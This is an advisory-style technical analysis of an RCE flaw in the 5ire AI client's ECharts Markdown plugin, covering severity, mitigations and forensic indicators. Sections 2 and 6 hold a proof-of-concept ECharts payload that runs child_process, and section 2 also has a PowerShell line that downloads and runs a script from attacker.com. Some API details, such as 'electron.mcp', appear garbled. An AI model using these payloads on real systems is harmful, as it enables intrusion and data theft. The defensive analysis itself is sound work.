Comprehensive Technical Analysis of EUVD-2026-3779 (CVE-2026-22793)

Vulnerability: Unsafe Option Parsing in 5ire’s ECharts Markdown Plugin Leading to RCE

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2026-3779 (CVE-2026-22793) is a critical Remote Code Execution (RCE) vulnerability in 5ire, a cross-platform AI assistant and model context protocol client. The flaw stems from unsafe option parsing in the ECharts Markdown plugin, which allows attackers to inject and execute arbitrary JavaScript code in the renderer context.

CVSS v3.1 Severity Analysis

Metric	Value	Explanation
Base Score	9.7 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely over a network.
Attack Complexity (AC)	Low (L)	No specialized conditions required.
Privileges Required (PR)	None (N)	No authentication needed.
User Interaction (UI)	Required (R)	Victim must interact (e.g., open a malicious document).
Scope (S)	Changed (C)	Impact extends beyond the vulnerable component.
Confidentiality (C)	High (H)	Full system compromise possible.
Integrity (I)	High (H)	Arbitrary code execution enables data manipulation.
Availability (A)	High (H)	System can be rendered inoperable.

Key Takeaways:

• Critical severity (9.7) due to RCE potential in Electron-based applications.
• Low attack complexity with no privileges required, making it highly exploitable.
• User interaction is required, but social engineering (e.g., phishing) can easily bypass this.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism

The vulnerability arises from improper sanitization of ECharts Markdown code blocks, allowing attackers to:

1. Craft malicious ECharts JSON configurations containing JavaScript payloads.
2. Embed these in Markdown files (e.g., .md or .5ire documents).
3. Trick a victim into opening the file in 5ire, triggering code execution in the renderer process.

Exploitation Pathways

A. Direct JavaScript Injection via ECharts Options

• Attackers exploit unsanitized option parameters in ECharts configurations.
• Example payload:

  {
    "series": [{
      "type": "bar",
      "data": [1, 2, 3],
      "tooltip": {
        "formatter": "function(params) { require('child_process').exec('calc.exe'); return params.value; }"
      }
    }]
  }
  

• When rendered, the formatter function executes arbitrary JavaScript.

B. Electron-Specific Exploitation (Privileged APIs)

• If Electron’s nodeIntegration is enabled or contextIsolation is disabled, attackers can:
  • Access Electron’s remote module (deprecated but still present in some apps).
  • Invoke electron.mcp (Main Process Communication) to execute system commands.
  • Example:

    const { exec } = require('child_process');
    exec('powershell -c "IEX (New-Object Net.WebClient).DownloadString(\'http://attacker.com/payload.ps1\')"');
    

C. Social Engineering & Phishing

• Attackers distribute malicious Markdown files via:
  • Email attachments (e.g., "AI_Report.5ire").
  • GitHub/GitLab repositories (e.g., "5ire_Plugin_Update.md").
  • Collaboration tools (Slack, Teams, Notion).

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3. Affected Systems and Software Versions

Vulnerable Software

Product	Vendor	Affected Versions	Patched Version
5ire	nanbingxyz	< 0.15.3	0.15.3

Target Environments

• Desktop Applications (Windows, macOS, Linux) running 5ire.
• Electron-based applications with misconfigured security settings (e.g., nodeIntegration: true).
• Enterprise AI/ML environments where 5ire is used for model context management.

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade to 5ire v0.15.3 (or later) immediately.
   • Patch addresses input sanitization in ECharts parsing.
2. Isolate 5ire in a Sandboxed Environment
   • Use Firejail, AppArmor, or Windows Sandbox to limit impact.
3. Disable Untrusted Markdown Rendering
   • Configure 5ire to block ECharts execution from untrusted sources.

Long-Term Hardening

Mitigation	Implementation
Electron Security Hardening	- Set nodeIntegration: false - Enable contextIsolation: true - Use sandbox: true
Content Security Policy (CSP)	- Restrict inline scripts via script-src 'self' - Block unsafe-eval
Input Validation	- Sanitize ECharts JSON inputs using DOMPurify or js-xss - Implement strict schema validation for Markdown plugins
Network-Level Protections	- Block outbound connections from 5ire via firewall rules - Use DNS filtering to prevent C2 callbacks
User Awareness Training	- Educate users on malicious Markdown files - Enforce least privilege for AI tool usage

Detection & Monitoring

• Endpoint Detection & Response (EDR):
  • Monitor for unexpected child_process or electron.mcp calls.
  • Alert on suspicious Markdown file executions.
• SIEM Rules:
  • Detect anomalous process spawning from Electron apps.
  • Correlate network connections from 5ire to known malicious IPs.

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5. Impact on European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (Art. 32 - Security of Processing):
  • Organizations failing to patch may face fines for inadequate security measures.
• NIS2 Directive (Critical Entities):
  • AI/ML tools like 5ire may fall under essential services, requiring mandatory vulnerability reporting.
• EU Cyber Resilience Act (CRA):
  • Vendors must disclose vulnerabilities and provide timely patches.

Sector-Specific Risks

Sector	Potential Impact
Financial Services	- AI-driven trading tools compromised → market manipulation - Customer data exfiltration
Healthcare	- AI-assisted diagnostics tools hijacked → patient data theft - Ransomware deployment
Government & Defense	- AI model poisoning → misinformation campaigns - Espionage via RCE
Critical Infrastructure	- AI-based SCADA/ICS tools exploited → operational disruption

Threat Actor Motivations

• Cybercriminals: Ransomware, data theft, cryptojacking.
• APT Groups: Espionage, supply-chain attacks (e.g., targeting AI model repositories).
• Hacktivists: Disruption of AI-driven services (e.g., chatbots, automation tools).

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path:
  • 5ire’s Markdown parser processes ECharts JSON without proper sanitization.
  • The formatter field in ECharts options allows arbitrary JavaScript execution.
• Electron-Specific Risks:
  • If nodeIntegration: true, Node.js APIs (e.g., child_process, fs) are exposed.
  • If contextIsolation: false, preload scripts can be bypassed.

Exploit Development Considerations

1. Bypassing CSP:
   • If CSP is weak (script-src 'unsafe-inline'), inline scripts can execute.
   • If CSP is strong, DOM-based XSS (e.g., location.href) may still work.
2. Post-Exploitation:
   • Persistence: Modify 5ire’s startup scripts.
   • Lateral Movement: Exfiltrate credentials via electron.mcp.
   • Data Exfiltration: Use fetch() or XMLHttpRequest to send data to attacker-controlled servers.

Proof-of-Concept (PoC) Skeleton

// Malicious ECharts JSON payload
const maliciousECharts = {
  "series": [{
    "type": "bar",
    "data": [1, 2, 3],
    "tooltip": {
      "formatter": "function(params) { " +
        "const { exec } = require('child_process'); " +
        "exec('calc.exe'); " +
        "return params.value; " +
      "}"
    }
  }]
};

// Delivered via Markdown file
const maliciousMarkdown = `
\`\`\`echarts
${JSON.stringify(maliciousECharts)}
\`\`\`
`;

Forensic Indicators

Indicator	Description
Process Tree	5ire.exe → node.exe → cmd.exe/powershell.exe
File System	Temporary files in %APPDATA%\5ire\ or /tmp/5ire/
Network	Unusual outbound connections to pastebin.com, github.com (raw), or attacker C2
Registry (Windows)	HKEY_CURRENT_USER\Software\5ire modifications

Reverse Engineering Notes

• Decompile 5ire’s ASAR archive (resources/app.asar) to analyze:
  • Markdown parser logic (markdown.js).
  • ECharts plugin integration (echarts-plugin.js).
• Check for hardcoded secrets (e.g., API keys, encryption keys).

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Conclusion & Recommendations

EUVD-2026-3779 (CVE-2026-22793) is a critical RCE vulnerability with high exploitability and severe impact. Organizations using 5ire must patch immediately and implement Electron security best practices to prevent exploitation.

Key Recommendations

✅ Patch Management: Upgrade to 5ire v0.15.3 without delay. ✅ Electron Hardening: Disable nodeIntegration, enable contextIsolation. ✅ Input Sanitization: Implement strict JSON schema validation for ECharts. ✅ Monitoring: Deploy EDR/SIEM rules to detect exploitation attempts. ✅ User Training: Educate users on malicious Markdown files.

Failure to mitigate this vulnerability could lead to full system compromise, data breaches, and regulatory penalties under EU cybersecurity laws.

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References:

• GitHub Advisory GHSA-wg3x-7c26-97wj
• 5ire v0.15.3 Release Notes
• Electron Security Checklist